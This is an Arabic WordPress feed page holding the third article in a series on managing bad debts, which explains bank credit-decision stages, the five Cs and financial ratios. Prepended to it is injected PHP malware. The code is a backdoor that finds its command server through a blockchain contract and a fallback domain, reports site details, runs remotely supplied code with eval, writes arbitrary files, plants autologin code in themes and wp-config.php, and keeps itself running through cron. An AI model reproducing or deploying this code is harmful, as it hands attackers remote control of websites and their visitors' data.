// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ديون متعثرة Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 13:23:30 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثالثة https://cameknowledge.camecenter.com/articles/bad_debt_management-3/ https://cameknowledge.camecenter.com/articles/bad_debt_management-3/#respond Sat, 29 Apr 2023 14:54:15 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10554 سلسلة مقالات – إدارة الديون المتعثرة إعداد / مركز كيم المقالة الثالثة مراحل اتخاذ القرار الائتماني         تتمثل مراحل اتخاذ القرار الائتماني في  الخطوات التفصيلية التى يقوم بها كل من العميل والبنك  بداية من طلب القرض إلى اتخاذ القرار بمنحه وحتي قيام العميل بسداد القرض، وتتمثل أهم هذه الإجراءات فيما يلي : أولا : تقديم […]

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الديون المتعثرة

إعداد / مركز كيم

المقالة الثالثة

مراحل اتخاذ القرار الائتماني

        تتمثل مراحل اتخاذ القرار الائتماني في  الخطوات التفصيلية التى يقوم بها كل من العميل والبنك  بداية من طلب القرض إلى اتخاذ القرار بمنحه وحتي قيام العميل بسداد القرض، وتتمثل أهم هذه الإجراءات فيما يلي :

أولا : تقديم طلب للحصول على قرض من قبل العميل.

ثانيا : دراسة الطلب

ثالثا : الاستعلام عن العميل

رابعا: تقييم قدرة المقترض

خامسا: تحديد شروط القرض والضمانات المطلوبة

سادسا: متابعة استخدام القرض

سابعا: مرحلة سداد القرض عند استحقاقه أو  تحديده

        وسوف نتناول كل مرحلة من هذا المراحل مع شرح الإجراءات الخاصة بكل مرحلة :

أولا : تقديم العميل للطلب :

        يتقدم العميل بطلب الحصول على قرض ، ومن المفهوم أن هذا الطلب يجب إلا يكون مخالفا للقواعد والنظام العام فلا يتصور أن يتقدم عميل للبنك للحصول على قرض لتمويل أعمالا غير مشروعة قانونيا ، كما يجب أن يتفق طلب العميل مع القانون التأسيسى للبنك ولائحته التنفيذية والسياسة الائتمانية للبنك فلا يتقدم للحصول على قرض لتمويل عمليات عقارية لبنك غير مرخص له في الأصل بمنح مثل هذا النوع من القروض .

 

ويجب على العميل أن يوضح في طلبه عدة نقاط أساسيه هي :

  • قيمة القرض المطلوب.
  • فيما يستخدم ؟ ( الغرض من القرض ).
  • مصدر وكيفية السداد .

وبدون هذه النقاط الثلاثة يصعب وضع الطلب محل البحث والدراسة ، وبالإضافة إلى ما تقدم من بيانات فان الطلب يمكن أن يساهم في سرعة الدراسة واتخاذ القرار الائتماني إذا تضمن البيانات التفصيلية  الآتية :

البيانات الشخصية :

الاسم – السن – الجنسية – الحالة الاجتماعية – المؤهل سابق الخبرات

عنوان المركز الرئيسى والفروع والمخازن وأرقام  التليفونات

رقم السجل لاتجاري وتاريخ بدء النشاط ونوعيته

الشكل القانوني للنشاط، وأسماء الشركاء وصفتهم ( في حالة الشركات ) ومن لهم حق إدارة النشاط وحق التوقيع وحق الاقتراض ورهن أصول المنشأة .

  • قائمة بأسماء الموردين وحجم المشتريات ( النقدية والآجلة)
  • قائمة بأسماء العملاء وحجم المبيعات
  • سابقة الأعمال ( بالنسبة للمقاولين والموردين
  • قائمة البنوك التى يتعامل معها العميل وحجم التعامل ونوعية ( قروض – حسابات دائنة ) مدعمة بكشوف الحسابات
  • بيان الضمانات التى يمكن تقديمها ( شخصية – عينية )
  • بيان بالممتلكات العقارية ( مسجلة- بعقود ابتدائية )

 

ويرفق بالطلب :

  • الحسابات الختامية والميزانية لآخر عامين.
  • عقود الملكية للأملاك العقارية والشهادات العقارية المؤدية للملكية المسجلة
  • عقود الإيجار الخاصة بمراكز النشاط ( في حالة التأجير )
  • عقود وفواتير شراء الآلات ( النشاط الصناعي)
  • شهادة من المحاسب بالموقف الضريبى ، وبموقف المنشاة قبل هيئة التأمينات الاجتماعية
  • شهادة من المحكمة بعدم إجراء بروتستو ضد المنشأة أو الشركاء وعدم حدوث إشهار إفلاس ضد العميل

ونظرا لاشتمال طلب العميل على كم هائل من المعلومات والبيانات التى تكون محل دراسة وبحث من أجل الوصول  لقرار ائتماني سليم فانه في حالة استخدام النظم الآلية والحسابات الالكترونية فانه يجب استخدام النماذج الموحدة لطلب العميل بحيث يتم إدخال هذه البيانات مباشرة إلى الحساب وتخزينها واستعادتها وقت الحاجة إليها من قبل المركز الرئيسى  أو أحد الفروع عند تجديد التسهيلات .

ثانيا : بحث دراسة طلب العميل:

وهنا يلزم التعرف على الاحتياجات الفعلية للقرض المطلوب من أجله التمويل حتى يمكن التأكد من استخدام التسهيلات المطلوبة في الغرض المطلوب من أجله، ويمكن بالتالي استعادة اصل القرض وفوائده من حصيلة عائد العملية موضوع التمويل.

ومن الجدير بالذكر أنه في الأنظمة اليدوية يوجد سجل يدون به بيانات بالطلبات المقدمة من قبل العملاء للحصول على تسهيلات ائتمانية وفى حالة رفض أي طلب يوضح بالسجل سبب وتاريخ الرفض حتى يمكن الرجوع إليه في حالة معاودة العميل لتقديم  طلب مرة أخري ويمكن أيضا  في الأنظمة التى تستخدم الحاسب الآلى تخزين هذه المعلومات وإيضاح تفاصيل رفض الطلب للرجوع إلى هذه المعلومات وقت الحاجة إليها للاسترشاد بها .

ثالثا : الاستعلام عن العميل :

سبق القول أن عمليات اقتراض  ومنح الائتمان تنطوي على جانب من المخاطر السابق الإشارة إليها التى ينشا عنها عدم تحصيل القرض أو جزء منه ، ويأتي ذلك نتيجة القصور أو الخطأ في القيام بالاستعلام عن العملاء .

أو دراسة مركزهم المالي أو لعدم رغبة العميل في السداد أو لعدم قدرته على الدفع.

        ولذلك  يجب على البنك القيام بالاستعلام عن العميل في حالة قبول البنك طلب الاقتراض  بشكل مبدئى ، وذلك للتعرف على النواحي الآتية :

أ-السمعة الشخصية للعميل .

ب- السمعة الشخصية للقائمين بإدارة المشروع.

ج-السمعة المالية للمشروع نفسه

د-حجم مديونية المشروع للبنوك الاخري

رابعا: تقيم قدرة المقترض :

        يتطلب قدرة المقترض توافر الكثير من المعلومات والبيانات واستخدام أدوات التحليل المالية  بكفاءة ، ويكاد يتفق رجال البنوك المعاصرون على أن الموافقة على حصول المقترض على القرض تتوقف على تقيم خمسة عوامل واصطلح على تسميتها بالإنجليزية  CS وهذه العناصر  تعكس المخاطر الائتمانية المحتملة وهي :

الشخصية                       Character  

المقدرة                            Capacity                

رأس المال                         Capital

الضمان                        Collateral

الظروف المحيطة              Condition

الشخصية:  Character    

         ويقصد بها أخلاقيات العميل وسلوكياته ، فالائتمان  يستند إلى الثقة في المقترض ، ومن هنا يتضح أهمية الوقوف على مدي وفائه بالتزاماته في المواعيد ، وسمعته ونزاهته ، وعلاقاته التجارية ، وطريقة معيشته وأسلوبه في الإنفاق ، وعاداته الشخصية ، ووضعه في المجتمع الذي يعيش فيه، وحالته الصحية ، وخلفائه المحتملين في الاضطلاع بالنشاط في حالة تخليه عن الإدارة أو وفاته ، ولا شك أن أخلاقيات العميل تنعكس في معاملاته مع البنك وفى تصرفاته ، فالعميل  الذي لا يتصف بالأمانة يمكن أن يضع البنك في مشاكل ، فبعض العمليات المصرفية يتم تنفيذها تلقائيا من جانب البنك استنادا إلى الثقة في احترام العملاء لتعهداتهم ، فقد يسمح البنك بتجاوز الحد الأقصى للسحب لاطمئنانه إلى استجابة العميل لتسوية ما يحدث من تجاوز .

        وهناك من العمليات ما يتم تنفيذها بناء على تعليمات شفهية لحين ورود التعزيز الكتابى من العميل ، لذلك تبدو أهمية توافر الأمانة والنوايا الطيبه في المتعاملين مع البنك .

 

 

دراسة وتحليل الحسابات الختامية لتقييم قدرة  المقترض :

 

وفيما يلي بعض المعايير والمؤشرات المالية التى تستخدم عادة في أقسام التحليل المالي أو أقسام القروض بالبنوك التجارية لتحليل قدرة المقترض وملكيته وقدرته الربحية .

أولا: نسبة السيولة :

وهي تعطي مؤشرا على مدي قدرة العميل على سداد التزاماته في الأجل القصير ومواجهة الالتزامات الجارية .

                                         الأصول المتداولة

وهذه النسبة هي (1) نسبة التداول = ــــــــــ

                                                 الخصوم المتداولة

والنسبة النمطية ( المثلى ) هي 2 :1

                        الأصول المتداولة – المخزون السلعي

(2) نسبة السيولة = ـــــــــــــــــــــ

                                 الخصوم المتداولة

والنسبة النمطية ( المثلى ) هي 1 :1

 

 ثانيا : نسبة النشاط :

        وهي تعتبر مؤشرات على مدي سلامة استغلال موارد النشاط الاستغلال الأمثل واهم هذه النسب هي :

                                        المبيعات

(1) معدل دوران النقدية  = ـــــــــــ

                                         النقدية

        وتدل هذه النسبة على عدد المرات التى تحول فيها النقدية إلى بضائع يتم بيعها ثم تحويلها مرة أخري إلى نقدية وكلما زادت عدد مرات الدوران كلما دل ذلك على رواج نشاط العميل :

                                        المبيعات

(2) معدل دوران المخزون  = ـــــــــــ

                                      المخزون

                                        365 ( عدد أيام السنة )

(3) متوسط فترة التخزين  = ـــــــــــــــــ

                                      معدل دوران المخزون 

 وكلما زاد معدل دوران المخزون كلما انخفضت بالطبع فترة التخزين ودل ذلك على سرعة تصريف البضائع .

 

ثالثا : نسب الربحية :

 وتدل على مدي نجاح المشروع وأهم هذه النسب هي :

                                                      صافى الربح

(1) معدل الربح على اجمالي الأصول   = ـــــــــــ

                                                     اجمالي الأصول 

                                                    صافى الربح

(2) معدل العائد على حق الملكية        = ـــــــــــ

                                                     حقوق الملكية

 

                                                    صافى الربح

(3) معدل العائد على المبيعات         = ـــــــــــ

                                                     المبيعات

رابعا: نسب المديونية ( أو هيكل التمويل ):

        وتعتبر هذه النسب من أهم النسب التى يعتمد عليها في مجال اتخاذ القرار الائتماني وسوف نستعرض أهم النسب دلالة على كل منها :

                                 اجمالى الديون

(2) معدل الديون         = ـــــــــــ وتعطي مؤشرا على

                                اجمالى الأصول 

 مدي توازن الهيكل التمويلي وتوزيع بين الموارد الذاتية والمصادر الخارجية وتدل  هذه النسبة على مدي  مساهمة موارد العميل الذاتية ( حقوق الملكية ) في تمويل نشاطه بالمقارنة بمصادر التمويل الخارجية ، وكذلك مدي اعتماده على الديون.

                                                    الأصول الثابتة

(2) نسبة الأصول الثابتة إلى حقوق الملكية   = ـــــــــــ

                                                     حقوق الملكية

        وكمبدأ عام يجب تمويل الأصول الثابتة من الموارد الذاتية ( حقوق الملكية ) أو تمويل طويل الأجل :

        ويجب تمويل الأصول المتداولة من مصادر التمويل قصيرة الأجل (الخصوم المتداولة ).

خامسا: تحديد شروط القرض والضانات المطلوبة واتخاذ القرار بالموافقة أو الرفض:

        بعد تقييم قدرة المقترض فانه يتم تحديد الشروط التى في إطارها يتم التعامل مع العميل وهذه الشروط  يجب  أن تتفق مع السياسة الائتمانية للبنك والتعليمات والنظم والأعراف المنظمة لكل نوع من أنواع التسهيلات.

        وفى هذا الصدد تحدد الشروط العامة والتى تتعلق بسعر الفائدة المطلوب على القرض وكذلك الاتفاق على عقد اتفاق يوضح ترتيبات رد القرض ، وكذلك أنواع الضمانات الواجب قبولها والواجب الابتعاد عنها والقيمة التسليفية للضمان والحالات التى يجوز الإقراض فيها بدون ضمانات عينية.

        وجدير بالذكر أن هناك نقطتين يجب الإشارة اليهما وتمثلان قاعدتين اساسيتين يجب اخذ هما بعين الاعتبار عند القيام بالدراسات السابق وهما :

 

 

 

1- الفرق بين القرض السليم والقرض الممكن تحصيله :

        فالقرض السليم لابد أن يكون مرتبطاً تمام الارتباط بشكل وطبيعة العمليات التى  يتم تمويلها مع وضع برنامج محدد  لرد القرض  وذلك بصرف النظر عما إذا كان القرض بضمان أو بدون ضمان .

        أما القرض الممكن تحصيله فهو القرض الممنوح بضمان أصول ، وإمكانية تحصيله تأتي هنا من التصرف في الضمان لتحصيل الدين، ويعتبر القرض سليما إذا كان المقترض يستحق القرض أي أن تقييم قدرة المقترض اثبت أن سمعته وصفاته وقدرته المالية والربحية متفقة مع حجم القرض .

2- تقدير قيمة الضمان :

        لكي تصرف البنك بحكمة فانه كقاعدة عامة يجب ألا تكون قيمة القروض مساوية لاجمالي القيمة السوقية للضمانات ، وإنما تمثل نسبة معينة منها ، ويسمي الفرق بين القيمة السوقية للضمان وقيمة  القرض ( مارج  القرض ) أو ( هامش القرض) ويتوقف هذا المارج على :

  • نوع الضمانات المقدمة .
  • مدي استقرار قيمتها السوقية
  • مستوي النشاط الاقتصادي ومستوي الصناعة
  • القوانين واللوائح الحكومية والقرارات الإدارية التى تحدد القيمة التسليفية للضمان

وبعد  إعلان الدراسات السابقة نرفع التوصيات إلى السلطة المختصة لاتخاذ القرار المناسب سواء بالموافقة أو الرفض.

 

سادسا: مرحلة متابعة الاستخدام :

    هناك تصور خاطئ لدي الكثير بأن الجانب الهام من العملية الائتمانية هو عملية منح الائتمان ونقول أن هذا الجانب من العملية الائتمانية ما هو إلا الجانب السهل خاصة إذا توافر الإطار التنظيمي الجيد والمصادر الكافية للمعلومات واستخدمت هذه المعلومات استخداما جيداً خاصة مع الاستعانة بالحاسب الآلي ،لا مكن الحصول على المخرجات بصورة تسهم في إعطاءه قرار ائتماني رشيد.

    أما الجانب الأكثر أهمية هو عملية ” متابعة حسن استخدام التسهيلات الممنوحة للعملاء وكيفية استعادة القروض الممنوحة وملحقاتها من فوائد وعمولات ، وقد يكون من السهل منح التسهيل ولكن لابد لاستعادتهم من المتابعة الجيدة والمتواصلة.

سابعاً: مرحلة  سداد القرض عند استحقاقه أو تجديده:

    ولا تختلف الدراسة في هذه المرحلة  عن المراحل السابق دراستها عند منح القرض ألا فيما يتعلق بالبيانات التى تضاف لهذه المرحلة من نتائج  خاصة بمتابعة استخدام القرض خلال الفترة الائتمانية السابقة وكما سبق القول فان الاستخدام الجيد لهذا القرض وحركة نشاط الحسابات من الأمور التى تكون لها اعتبارا خاصا عند الموافقة على تجديدها طالما انه لم يطرأ ما يؤثر على نشاط العميل أو المركز المالي أو ضماناته العقارية أو أي عنصر من عناصر المخاطرة الائتمانية .

    وفى حالة الموافقة على التجديد يتم توقيع العملاء على عقود ومستندات التجديد وأخطار الجهات المعنية بالتنفيذ لتبدأ فترة ائتمانية جديدة من التعامل … وهكذا .

 

 

 

المقدرة :   Capacity            

        يتوقف  سداد القرض في موعده إلى حد  كبير على مقدرة المقترض في إدارة أعمال واستخدامه للأموال المستثمرة في منشآته بكفاية وبشكل يعود عليه بالفائدة، وبطبيعة الحال تتوقف مقدرته على سداد القرض وعلى مصادر سداده ، فقد يسدد القرض عن طريق تحويل بعض الأصول كالبضائع والديون إلى أموال سائلة من خلال دورة التشغيل ، وقد يكون مصدر السداد تدفقات مالية جديدة كزيادة رأس المال وقروض من المؤسسين تحل محل قرض البنك ، وهنا تبدو أهمية التعرف على توقيت هذه الموارد ومصادرها .

        ولا شك أن توافر الخبرة الفنية والإدارية والقدرة على التنظيم  في مديري المنشأة ، وتفهمهم لأهمية التخطيط المالي تعتبر من المقومات التى تطمئن البنك إلى مقدرة المقترض إذا ما صاحبتها النوايا الطيبة للسداد ، ويؤكد ذلك أن هناك مشروعات يقوم بإدارتها  رجال تتوافر فيهم الأخلاق القويمة ولكن تنقصهم الخبرة وكان  مصيرها الفشل بسبب سوء التنظيم الإداري والمالي ، وعدم قدرتهم على تسييرها في الإطار السليم ومواجهة  المشكلات بالحلول المناسبة ويمتد تقييم مقدرة المنشأة طالبة الاقتراض إلى دراسة أسلوبها  في الأداء وتحقيق الإرباح  ، ويرتبط ذلك بعدة أمور مثل الامكانيات المتاحة لها في الحصول على عناصر الإنتاج المختلفة من خامات وعماله ونوعية منتجاتها والطلب عليها، وما تتمتع به من استقرار في السوق .

 

 

 

 

رأس المال :Capital

        يعتبر رأس المال الضمان النهائى أمام المقترضين والدائنين الآخرين في حالة التصفية ، ومن ثم فان رأس المال يحدد القدرة الاقتراضية للمنشاة وهو بذلك يعتبر عاملا هاما في تحديد المخاطر المرتبطة بالقرض بالمطلوب، وكلما كان رأس مال المنشأة مناسب كلما كان ذلك مشجعا للبنوك على تقديم القرض إذ يعكس ضمانا اكبر من أصحاب المنشأة ، وتمتد الدراسة بطبيعة الحال إلى الهيكل التمويلى للمنشأة المقترضة للتعرف على مدي توازنه مع الاستخدامات المختلفة .

 الضمان : Collateral

        يؤخذ الضمان – وقد يكون عينيا أو شخصيا  لمقابلة بعض نواحي الضعف في عناصر التقييم السابقة ، ولكنه لا يعني عن عدم توافر الأخلاق وحسن التعامل والالتزام بالتعهدات والمقدرة فالهدف  من اقتضاء الضمانات هو تحسين أوضاع القرض الممكن منحه، وتوفير الحماية للبنك ضد بعض المخاطر المحتملة مثل تجميد القرض لدي المقترضين ، فعلى سبيل المثال قد يطلب البنك ضمانا عينيا أو شخصيا لتعزيز عدم توافر رأس المال الكافي لدي العميل ن غير أنه يجب أن يراعي دائما عدم منح القرض إذا كان مصدر السداد الذي يستند إليه هو بيع الضمان ذاته ، وفى مجال اقتضاء الضمانات والكفالات تمتد الدراسة إلى تقدير مدي إمكانية تصفيتها في الوقت المناسب والى تقدير قيمتها التسليفية والى الوثائق التى يجب الحصول عليها لاستيفاء رهن الضمانات لصالح البنك .

 

 

 

الظروف المحيطة: Condition

ويقصد بذلك التعرف على مكانة المنشاة المقترضة في السوق ، ومدي المنافسة التى تواجهها وقدرتها على تعريف منتجاتها ، ويتناول هذا التقييم دراسة الظروف الاقتصادية السائدة بالنسبة للقطاع الذي تعمل فيه المنشأة وعلاقته بالقطاعات الاخري، وموقفه من الدورات الاقتصادية ولا ننسى أن أوضاع بعض المنشآت تتأثر أحيانا بالتشريعات المالية كالضرائب والرسوم الجمركية ، وكذلك بتشريعات الاستيراد ، ومن ثم يتعين تحديد المخاطر المحتملة نتيجة ذلك كما لا يجب إغفال أثار التطورات التكنولوجية بالنسبة لبعض المشروعات والتى قد تؤثر على كفاءة الأصول المستخدمة في الإنتاج ، وعلى أسلوبها الإنتاجي وتؤدي إلى ضرورة إجراءات تغييرات هيكلية قد تؤثر على اقرض وإمكانية سداده في الوقت المحدد .

 

 

سياسة تحصيل القروض

 

        بعد الانتهاء من دراسة السياسة الائتمانية واتخاذ القرار بمنح القرض ، نصل إلى دراسة المرحلة التالية والمتعلقة بتحصيل القروض ، فمن المعروف أن إتمام التسهيلات الائتمانية لا يتوقف عند صدور الموافقة على  منحها وتقريرها من السلطة المختصة ، ولكن يمتد العمل الائتماني ليشمل متابعة تلك القروض.

        بعد الانتهاء من وضع سياسة للاقتراض مسحوبة بأشراف سليم على خط سير القرض والتأكد من تحقيق الضوابط الموضوعية لسلامة استخداماته فإن العميل سوف يقوم بسداد القروض في مواعيدها دون تأخير ودون مشاكل ، ولكن تظهر بعض المشاكل في حالة عدم تمكن العميل من السداد في المواعيد المقررة، وهنا يجد البنك نفسه أمام ضرورة مواجهة مشكلة الديون المتعثرة .

 

 

مراحل حل مشكلة الديون المتعثرة

 

        تنقسم مراحل مشكلة  الديون المتعثرة وتفادي المزيد منها إلى ثلاث مراحل:

أولا: مرحلة تشخيص الحالات المتعثرة وتحديد مواطن  الضعف ومعرفة أسباب التعثر.

ثانيا: مرحلة تحديد أسلوب العلاج المناسب في ضوء التشخيص السابق .

